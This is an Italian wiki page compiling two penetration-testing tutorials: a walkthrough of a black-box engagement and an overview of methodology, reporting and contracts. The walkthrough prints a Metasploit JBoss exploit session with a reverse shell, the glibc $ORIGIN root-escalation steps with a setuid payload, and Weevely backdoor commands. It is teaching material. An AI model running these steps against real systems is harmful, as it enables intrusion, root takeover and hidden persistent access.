carlo_notesfandomcom-20200214-history
Penetration test
http://www.html.it/articoli/penetration-test-analisi-di-un-caso-reale-1/ Introduzione L’interesse per la sicurezza dei sistemi informatici è cresciuto negli ultimi anni proporzionalmente alla loro diffusione. Sempre più spesso grandi aziende sono alla ricerca di “Hacker Etici” da assumere ed impiegare al fine di scongiurare minacce derivanti da attacchi informatici. La tendenza è affidarsi alle competenze di chi ben conosce le varie tecniche di attacco per poterne prevedere ed ostacolare le mosse. L’obiettivo primario è garantire che l’informazione rimanga integra ed accessibile, nei tempi previsti, ai soli utenti che ne hanno facoltà. Il sistema informatico deve essere in grado d’impedire l’accesso abusivo ai dati e l’alterazione delle informazioni, sia da parte di utenti non autorizzati che da eventi accidentali. Vari fattori contribuiscono al raggiungimento di tale fine: la robustezza del software di base e applicativo, l’affidabilità hardware dei dispositivi e il fattore umano. Penetration Tester Il Penetration Tester o Auditor è colui che svolge l’attività di verifica della sicurezza dei sistemi informatici, nella sua analisi opera con le stesse logiche utilizzate da un Hacker. Il fine è ottenere l’accesso ad informazioni riservate o il controllo del sistema remoto con l’ausilio di strumenti automatici o basandosi semplicemente sulle proprie capacità e conoscenze. Metodologie Le metodologie adottate hanno il comune obiettivo di fornire una conoscenza dettagliata sullo stato di sicurezza dei sistemi informatici presi in esame e permettono di: *verificare che non sia possibile ottenere accessi non autorizzati a sistemi ed informazioni; *valutare se, per un utente con privilegi minimi, sia possibile accedere ad informazioni per le quali non ha l’autorizzazione necessaria; *verificare che un determinato software (es. una web application) non contenga vulnerabilità tali da permettere, ad un malintenzionato, di ottenere accessi non autorizzati a dati e servizi riservati. Durante i penetration test (PT) vengono effettuate delle vere e proprie simulazioni di intrusione, ipotizzando diversi scenari di attacco e combinando tecniche manuali all’utilizzo di strumenti automatici. Fasi di un attacco Possiamo riassumere l’intera attività di penetration testing in sei fasi principali: #Information Gathering; #Vulnerability Assessment; #Exploitation; #Privilege Escalation; #Maintaining Access; #Reporting; Ogni fase ha il suo obiettivo. L’Information Gathering o raccolta delle informazionipermette all’attaccante di acquisire dati utili, dall’architettura della piattaforma, ai servizi offerti, ecc. L’analisi di questi dati porterà alla scelta di come condurre il passo successivo. L’attività di Vulnerability Assessment (VA) permette di avere un quadro completo dello stato di esposizione dei propri sistemi a tutte le vulnerabilità note. A tale scopo vengono utilizzati tools automatici che grazie alla loro velocità di scansione permettono di testare in breve tempo un numero estremamente ampio di servizi. Con il termine exploit si identifica una tipologia di attacco che sfrutta una particolare vulnerabilità che può portare ad acquisire privilegi sul computer bersaglio o alla negazione di servizio (DoS). Gli exploit possono essere classificati a seconda del tipo di vulnerabilità che sfruttano. Più in generale avremo un exploit remoto se compiuto attraverso la rete e un exploit locale se si opera su un computer con privilegi limitati impostati dall’amministratore. In questa fase vi è il primo vero accesso non autorizzato. Ottenuto l’accesso ad un servizio, è utile verificare se è possibile innalzare i propri privilegi (Privilege Escalation). Questo può avvenire in diversi modi, sniffando i pacchetti che transitano nella rete o semplicemente cercando di ottenere le password in chiaro di un utente amministratore. Violato il sistema è comodo mantenere l’accesso (Maintaining Access) in modo da poter operare in un secondo momento anche da remoto e senza ripetere l’intero hack. A tale scopo è solito installare una backdoor o una web-shell che ci permetterà di avere un controllo immediato del sistema. L’attività si conclude con la pulizia delle tracce e con la stesura di un report dettagliato sulle vulnerabilità riscontrate, l’analisi dell’impatto di rischio ed eventualmente una possibile soluzione tecnica al problema. Analisi di un caso reale Ci troviamo ad operare da remoto per verificare il livello di sicurezza di una grande azienda. L’analisi viene svolta, a fronte di un accordo con il committente, da parte del penetration tester. In base alla quantità di informazioni disponibili si identificano diversi scenari. Il modello adottato sarà di tipo “Black Box” il quale non presuppone alcuna conoscenza dell’infrastruttura oggetto di analisi, tutte le informazioni dovranno essere ricavate prima di iniziare i vari test. L’analisi verrà svolta utilizzando BackBox Linux, una distribuzione orientata al penetration testing. Il vantaggio derivante dall’uso di uno strumento simile è nell’avere un sistema operativo flessibile ed ottimizzato per condurre vari test di sicurezza. Al suo interno troverete già pronti all’uso tutti i tools citati in questo articolo. Figura 1. BackBox (clic per ingrandire) http://html.it/articoli/3819/backbox.png NOTA: Le informazioni che seguono sono state rielaborate ed adattate alla pubblicazione per uso didattico, nessun dato o informazione sensibile è presente in questo articolo. Information Gathering L’attività di penetration test inizia con la raccolta delle informazioni, conoscendo l’url del sito aziendale è possibile risalire all’indirizzo IP del server (informazione essenziale per iniziare la nostra analisi): $ host www.nomesito.it www.nomesito.it has address 150.xxx.xxx.10 Ottenuta questa informazione ci serviremo di Maltego, un utile programma che ci aiuterà a tracciare uno schema completo e dettagliato sulla natura della rete da prendere in esame. Figura 2. Maltego (clic per ingrandire) http://html.it/articoli/3819/maltego.png I dati raccolti sono di pubblico dominio. Possiamo integrare ulteriori informazioni servendoci di un comune browser e dei servizi gratuiti messi a disposizione dai motori di ricerca (Google, Bing, ecc.) Vulnerability Assessment La precedente fase di raccolta delle informazioni ci ha portato a definire il range di indirizzi IP assegnati all’azienda (150.xxx.xxx.0 – 150.xxx.xxx.255). Possiamo dunque procedere ad una analisi automatizzata dei servizi attivi su ogni singolo host. Ci serviremo di OpenVAS, un framework per la scansione automatizzata delle vulnerabilità. Dal menu “Services” di BackBox selezioniamo “openvas”, aggiorneremo prima la lista dei plugins con “openvas-services update” ed avvieremo i vari servizi con “openvas-services start”. OpenVAS fa uso di una interfaccia web, per avviarla dal menu “Auditing” selezioneremo “Vulnerability Assessment” > “Network Vulnerability Scanners” > “OpenVAS GSA”. Figura 3. OpenVAS (clic per ingrandire) http://html.it/articoli/3819/openvas.png L’uso di questo scanner ci fornirà un report dettagliato dei servizi attivi per ogni singolo host e quali di questi sono potenzialmente vulnerabili. Sta a noi selezionare tra le possibili vulnerabilità il target adatto. La nostra analisi si concentrerà su un host su cui è attivo Jboss, un application server open source multi piattaforma che implementa l’intera suite di servizi Java EE. Verificando online l’effettiva presenza di un exploit per questo tipo di servizio (Exploitdb oppure 1337day.com) procediamo alla fase successiva… Exploitation Cercheremo ora di mettere in pratica l’exploit relativo a Jboss e per farlo utilizzeremoMetasploit, un Framework davvero molto versatile, uno utile strumento per chi opera nel campo della sicurezza informatica. Al suo interno raccoglie diverse utility e centinaia di exploits. È possibile avviare MSF direttamente dal menu “Auditing” di BackBox: “Exploitation” > “Network Assessment” > “MSF”. Dopo aver aggiornato il programma con “msfupdate” avvieremo “msfconsole“. Segue l’output della nostra interazione con il programma: $ msfconsole | | _) | __ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ | ( |\__ \ | | | ( | | | _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| _| =[ metasploit v3.7.0-dev api:1.0 + -- --=[ 670 exploits - 348 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops msf > use multi/http/jboss_bshdeployer msf exploit(jboss_bshdeployer) > set RHOST 150.xxx.xxx.160 RHOST => 150.xxx.xxx.160 msf exploit(jboss_bshdeployer) > show payloads Compatible Payloads Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline java/jsp_shell_bind_tcp normal Java JSP Command Shell, Bind TCP Inline java/jsp_shell_reverse_tcp normal Java JSP Command Shell, Reverse TCP Inline msf exploit(jboss_bshdeployer) > set PAYLOAD java/jsp_shell_reverse_tcp PAYLOAD => java/jsp_shell_reverse_tcp msf exploit(jboss_bshdeployer) > show options Module options (exploit/multi/http/jboss_bshdeployer): Name Current Setting Required Description ---- --------------- -------- ----------- APPBASE no Application base name, (default: random) JSP no JSP name to use without .jsp extension (default: random) PACKAGE auto yes The package containing the BSHDeployer service PASSWORD no The password for the specified username PATH /jmx-console yes The URI path of the JMX console Proxies no Use a proxy chain RHOST 150.xxx.xxx.160 yes The target address RPORT 8080 yes The target port SHELL auto no The system shell to use USERNAME no The username to authenticate as VERB POST yes The HTTP verb to use (for CVE-2010-0738) VHOST no HTTP server virtual host Payload options (java/jsp_shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address LPORT 4444 yes The listen port SHELL auto yes The system shell to use. Exploit target: Id Name -- ---- 0 Universal msf exploit(jboss_bshdeployer) > set LHOST xxx.xxx.xxx.xxx LHOST => xxx.xxx.xxx.xxx msf exploit(jboss_bshdeployer) > exploit - Handler failed to bind to xxx.xxx.xxx.xxx:4444 * Started reverse handler on 0.0.0.0:4444 * Attempting to automatically detect the platform... * SHELL set to /bin/sh * Creating exploded WAR in deploy/IVpEzfBfnEA.war/ dir via BSHDeployer * Attempting to use 'deployer' as package * Executing /IVpEzfBfnEA/fuTcY8WPzHTV.jsp... - Execution failed on /IVpEzfBfnEA/fuTcY8WPzHTV.jsp /IVpEzfBfnEA/fuTcY8WPzHTV.jsp, retrying in 5 seconds... + Successfully triggered payload at '/IVpEzfBfnEA/fuTcY8WPzHTV.jsp' * Undeploying /IVpEzfBfnEA/fuTcY8WPzHTV.jsp by deleting the WAR file via BSHDeployer... * Command shell session 1 opened (192.168.1.2:4444 -> 150.xxx.xxx.160:48104) ls / bin boot cdrom dev etc home initrd initrd.img lib lost+found media mnt opt proc root sbin srv sys tmp usr var vmlinuz cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:105:113:MySQL Server,,,:/var/lib/mysql:/bin/false jboss4:x:1002:1002::/home/jboss4:/bin/bash A questo punto abbiamo accesso al sistema tramite una shell remota. Sarà possibile compiere qualsiasi azione con i permessi dell’utente “jboss4″. Privilege Escalation È sempre utile verificare la versione del kernel e del sistema operativo installato e ricercare ulteriori exploit che ci permettano di ottenere i permessi di root sul server remoto. Nel nostro caso abbiamo verificato la presenza del seguente exploit: The GNU C library dynamic linker expands $ORIGIN in setuid library search path Riporto di seguito i passi per effettuare l’hack (estratto dalla documentazione originale in lingua inglese): It is possible to exploit this flaw to execute arbitrary code as root. Please note, this is a low impact vulnerability that is only of interest to security professionals and system administrators. End users do not need to be concerned. Exploitation would look like the following. # Create a directory in /tmp we can control. $ mkdir /tmp/exploit # Link to an suid binary, thus changing the definition of $ORIGIN. $ ln /bin/ping /tmp/exploit/target # Open a file descriptor to the target binary (note: some users are surprised # to learn exec can be used to manipulate the redirections of the current # shell if a command is not specified. This is what is happening below). $ exec 3< /tmp/exploit/target # This descriptor should now be accessible via /proc. $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target* # Remove the directory previously created $ rm -rf /tmp/exploit/ # The /proc link should still exist, but now will be marked deleted. $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted) # Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen(). $ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D $ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ ls -l /tmp/exploit -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit* # Now force the link in /proc to load $ORIGIN via LD_AUDIT. $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 sh-4.1# whoami root sh-4.1# id uid=0(root) gid=500(taviso) Maintaining Access Ottenuto l’accesso “root” è possibile caricare una backdoor che ci permetterà di accedere successivamente al sistema. A tale scopo utilizzeremo Weevely, uno strumento che ci permette di creare e gestire un trojan PHP progettato per essere difficilmente individuabile. Dal menu “Auditing” di BackBox selezioneremo: “Maintaining Access” > “Backdoors” > “weevely”. Per generare la backdoor: $ weevely -g -o /tmp/weevely.php -p password $ cat /tmp/weevely.php Dopo aver caricato la backdoor sul server remoto sarà possibile accedervi digitando semplicemente: $ weevely -t -u http://www.nomesito.it/path/weevely.php -p password Reporting Durante l’intero processo di analisi e verifica delle vulnerabilità è comodo utilizzare strumenti per la condivisione delle informazioni e la creazione di un report. In BackBox è disponibile Dradis, un framework open source sviluppato per tale scopo. Installazione da repository: sudo apt-get update sudo apt-get install dradis Figura 4. Dradis (clic per ingrandire) http://html.it/articoli/3819/dradis.png Per ulteriori informazioni, sull’uso e configurazione degli strumenti presenti in BackBox Linux vi rimando al wiki ufficiale del progetto Introduzione Un pen-test consiste nel testare la sicurezza di un sistema cercando di violarlo sottoponendolo ad una grande varietà di attacchi informatici e non. L'obiettivo è quello di individuare eventuali vulnerabilità sfruttabili da terzi per ottenere accessi non autorizzati ai servizi e ai sistemi analizzati.Oltre ai problemi di sicurezza, devono essere rilevati, quali possibili punti deboli, i problemi relativi alla configurazione, che incidono sulla robustezza e le performance del sistema, e gli errori di progettazione della rete. A volte una cattiva configurazione è più pericolosa di un bug. Schematicamente i test devono individuare: *bug, vulnerabilità e security hole nel software presente; *punti deboli nella progettazione della rete; *punti deboli di firewall e router; *punti deboli negli script dei web-server; *errori nella configurazione dei principali servizi in esecuzione; *problemi relativi l'accesso fisico alle macchine. Tipologie Ogni aspetto del pen-test ne determina una particolare tipologia.In base al punto di partenza dell'attacco un pen-test può essere effettuato esternamente e/o internamente alla rete da valutare. Un pen-test dall'esterno è condotto da una macchina remota per rilevare eventuali vulnerabilità sfruttabili attraverso internet. I test condotti dall'interno hanno tra l'altro lo scopo di rilevare le possibilità di accedere a file e a dispositivi in modo inappropriato, ovvero migliorando i propri permessi. Si distinguono vari livelli tecnici dei test. Il livello tecnico del test rispecchia le varie tipologie di attacker, si va dallo script kiddie al cracker, dall'organizzazione criminale ai servizi segreti. A grandi linee si possono delineare tre grandi categorie: *'livello basso': questo è il test che in genere fanno i tool di auditing automatici, a la Nessus per intenderci. Si controlla solo se ci sono servizi in esecuzione con vulnerabilità note, in genere vengono rilevate solo grosse falle e misconfigurazioni macroscopiche. *'livello medio': oltre a controllare i servizi in esecuzione, viene testata, come illustrato in precedenza, la rete, i firewall, i router, etc. Si fa spesso ricorso anche a tecniche di social engineering. *'livello alto': qui siamo a livelli paranoici, si può arrivare a controllare i sorgenti (se disponibili) dei programmi alla ricerca di nuove vulnerabilità, o ad esercitare la "nobile arte" del trashing. In base alle informazioni preliminari ricevute dal committente si distinguono tre tipi di pen-test: *'zero knowledge (black box)': si fa il test senza conoscere niente dell'host bersaglio, il tester si mette in pratica nelle stesse condizioni dell'attaccante. In questo caso il primo passo è la raccolta di informazioni. *'partial knowledge': vengono fornite dal committente alcune informazioni per indirizzare l'attacco verso un bersaglio preciso o anche per diminuire i tempi di testing e quindi le spese. Le informazioni fornite riguardano in genere la topologia della rete, le politiche di sicurezza adottate, etc. *'full knowledge (white box)': in questo caso chi esegue il pen-test ha a disposizione tutte, o quasi, le informazioni possibili. In questo caso, in genere, si simula il comportamento di un "attaccante interno", ad esempio un dipendente. Oltre a testare le macchine un pen-test può essere utile anche per valutare le persone addette a tali macchine. Avremo di conseguenza un test di tipo overt e uno di tipo covert: *'overt o evidente (Blue team)': gli impiegati dell'organizzazione, e in particolare lo staff IT, sono a conoscenza del pen-test. Ovviamente in queste circostanze non ha senso usare metodi riconducibili al social engineering. *'covert o nascosto (Red team)': si esegue il pen-test con il permesso delle "alte cariche", e all'insaputa dello staff IT. Questo tipo di test è utile per testare, oltre alla sicurezza della rete, anche le capacità e l'affidabilità degli addetti alla sicurezza durante una emergenza e la reale validità delle politiche di sicurezza dell'azienda. Il pen-test per sua natura non passa inosservato, le macchine che lo subiscono sono sottoposte ad uno stress non indifferente, e non è remota la possibilità di causare danni anche gravi ai sistemi testati. In genere è preferibile usare metodi non-distruttivi in modo da non compromettere, nei limiti del possibile, il normale funzionamento della macchina. In un pen-test non distruttivo il tester non deve usare metodi e tecniche che potrebbero portare alla perdita o al danneggiamento dei dati, e all'interruzione dei servizi forniti dalle macchine esaminate. Ad esempio in questo tipo di pen-test è sconsigliato portare attacchi di tipo DoS e simili. http://www.siforge.org/articles/2003/09/08-pentester.html Metodologia La metodologia dipende dal livello di dettaglio che si vuole raggiungere. Durante le fasi di attacco si opera essenzialmente su due livelli, uno passivo e uno attivo. Diremo attacco passivo quello che non interagisce direttamente con il bersaglio, e quindi tutta la fase di raccolta delle informazioni. Mentre un attacco è attivo quando si eseguono azioni dirette contro il bersaglio. Di seguito è illustrata a grandi linee una tipologia d'attacco, per maggiori dettagli rimando all'"OpenSource Security Testing Methodology Manual"http://www.siforge.org/articles/2003/09/08-pentester.html#resid_osstmm 1. *Ricognizione di base: informazioni dal sito, informazioni sul dominio e sull'amministratore. A volte basta visitare il sito per raccogliere importanti notizie sul software presente sul server, spesso infatti in fondo all'home page i webmaster inseriscono notizie sul sistema operativo, webserver, etc. (Ad esempio Powered by Apache, Linux Inside...). *Ricostruzione della struttura interna della rete. *Una volta identificata la struttura della rete e il numero di macchine bisogna raccogliere il maggior numero di informazioni su ognuna di esse. Quindi occorre ricercare i servizi in esecuzione, identificare i sistemi operativi, la versione dei servizi, il tipo di processore, i nomi utente (standard e non), le risorse condivise, etc. *Ricerca di eventuali misconfigurazioni. *Dopo aver determinato i tipi di servizi attivi sull'host bersaglio si deve tracciare una mappa delle vulnerabilità, e occorre ricercare (o scrivere) gli exploit applicabili contro i servizi bersaglio. *Analisi della topologia della rete. *Applicazione degli exploit. *Verifica della possibilità di sniffing e tentativi di DOS. *Test su router e firewall. *Pulizia delle tracce dell'attacco. *Stesura del report. Risultati Un sistema può dirsi vulnerabile se è possibile: *accedere a risorse interne; *leggere e modificare file riservati; *controllare il traffico in entrata e/o uscita; *eseguire programmi senza averne i permessi; *accedere alla macchina con i permessi di amministratore (root) da parte di utenti non privilegiati; *controllare la configurazione della rete e dei servizi. Il valore di un pen-test è strettamente legato alle capacità del tester. Inoltre perde di validità non appena si apportano modifiche (anche minime) alla configurazione di una macchina interessata al test, quindi è consigliabile eseguire un pen-test poco prima di mettere in produzione la rete. Inoltre anche lasciando inalterate le macchine testate, il pen-test dovrebbe essere ripetuto periodicamente, poiché vengono trovate quotidianamente nuove vulnerabilità e nuovi exploit. Report Il report è il documento che il team che esegue il test presenta al committente alla fine della valutazione. Il report deve indicare per ogni vulnerabilità riscontrata: *Software/dispositivo affetto dalla vulnerabilità (Nome e versione); *Tipo di vulnerabilità riscontrata; *Gravità del bug (Bassa, Media, Alta); *Esistenza, diffusione e applicabilità dell'exploit relativo alla vulnerabilità; *Causa (bug, configurazione, etc.); *Macchine/dispositivi interessati; *Conseguenze; *Esistenza e complessità della soluzione del problema; *Descrizione dettagliata del problema e dei metodi utilizzati per individuarlo; *Suggerimenti e note. Bisogna anche fornire una descrizione dettagliata dell'intero processo di auditing effettuato. È consigliabile tenere durante i lavori un dettagliato "diario di bordo", dove riportare scrupolosamente ogni azione intrapresa e ogni effetto prodotto. Tale diario risulterà utile sia in fase di stesura del report finale sia per distinguere le attività del tester da eventuali anomalie verificatesi durante i lavori. Aspetti Legali e Punti Critici Questo paragrafo tratta di tutti quegli aspetti, qui definiti "punti critici", che hanno pesanti risvolti legali e che di conseguenza devono essere previsti e trattati adeguatamente in fase di stipula del contratto-liberatoria. Punti critici I punti critici da prendere in considerazioni sono: trattamento dei dati raccolti, salvaguardia dei sistemi e dei dati, riservatezza riguardo le vulnerabilità emerse durante il pen-test. Durante il penetration test potrebbero verificarsi dei disagi dovuti al lavoro del tester, si potrebbero avere perdite o danni ai dati o ancora una momentanea perdita di accessibilità. Ad esempio una macchina dedicata all'e-commerce potrebbe rimanere inaccessibile a causa di una simulazione di DoS, con conseguenze economiche dirette. O ancora, una azienda che fornisce servizi a terzi, potrebbe vedere i propri servizi interrotti con evidente disagio per i clienti. Prima di cominciare il test bisogna concordare quale livello di rischio il committente è disposto a correre, invitandolo anche a fare un backup dei dati prima di effettuare il pen-test. Bisogna prevedere tali evenienze in fase di stipula del contratto, declinando per quanto possibile le responsabilità e garantendo però, allo stesso tempo, adeguate misure per il recupero del sistema. Contratto (Regole di comportamento) Il contratto deve indicare l'elenco dei test che verranno effettuati, lo scopo del penetration test e i rischi. Può tornare utile indicare anche i limiti entro i quali il tester deve muoversi, per limiti si intende: range di IP da testare, metodi e tool da usare, i tempi e le condizioni di avvio e completamento dei test. In alcuni casi, e per le tecniche che lo permettono, è utile indicare anche gli indirizzi IP delle macchine dalle quali partiranno gli attacchi, per isolare eventuali intrusioni da parte di terzi. È fondamentale, inoltre, regolare il trattamento delle informazioni raccolte durante il pen-test. La società esecutrice deve impegnarsi a a non divulgare a terzi le informazioni raccolte durante le attività relative ai test. Da parte sua il committente deve dare pieno assenso alle attività di testing. Deve garantire inoltre il proprio impegno a mantenere la società esecutrice del test sollevata da tutte le responsabilità legali, nel caso in cui terzi dovessero considerarsi danneggiati dalle attività svolte durante i test. Q&A #'Basta individuare una vulnerabilità oppure bisogna cercare di sfruttarla per ottenere un acceso non autorizzato?' Dipende dal livello di dettaglio prefissato. Vedi il paragrafo "Tipologie". #'Quale figura professionale è autorizzata ad eseguire un penetration test?' Chiunque sia in possesso delle capacità tecniche necessarie può effettuare un penetration test. Maggiori sono le capacità del tester maggiore è il valore del test stesso. #'Quali informazioni bisogna farsi dare dal committente?' Poiché bisogna simulare le condizioni in cui si trova un eventuale attaccante ci basta conoscere solo l'indirizzo della macchina da analizzare, non dobbiamo dimenticarci che chi fa un penetration test si mette nei panni dell'attaccante, che generalmente non ottiene direttamente (e consciamente) dati dall'amministratore del sistema. Come illustrato prima in determinate condizioni vengono fornite varie informazioni al pen-tester. #'Ho già delle buone basi, voglio diventare un pen-tester, da dove devo cominciare?' Periodicamente le società che si occupano di Sicurezza Informatica organizzano corsi e stage sull'argomento. È facile intuire però che, data la particolarità dell'argomento, si impara molto più dalla pratica che da qualsiasi corso, quindi è consigliabile mettere in piedi un piccolo laboratorio con 5-6 macchine (va bene anche dell'hardware datato) in modo da simulare diverse situazioni con i relativi test. Informazioni sull'autore Gianluigi Spagnuolo, studente. Si interessa di programmazione, sicurezza informatica, buddismo zen, reti e sistemi operativi liberi. È tra i fondatori dell' Italian Ruby User Group e dell'Irpinia Linux User Group e moderatore della mailing list Security4Dummies. Home page: http://kirash.interfree.it È possibile consultare l'elenco degli articoli scritti da Gianluigi Spagnuolo. Altri articoli sul tema Sicurezza. Risorse # OpenSource Security Testing Methodology Manual. http://www.isecom.info/ # SANS Info Sec Reading Room. http://www.sans.org/rr/catindex.php?cat_id=42 # SecurityFocus sezione Penetration Test. http://www.securityfocus.com/pen-test # Archivio Pen-Test Mailing List su SecurityFocus. http://www.securityfocus.com/archive/101 # Pen Test Mailing List su YahooGroups. http://groups.yahoo.com/group/pentest/ Altri link http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html http://www.pentest-standard.org/index.php/Main_Page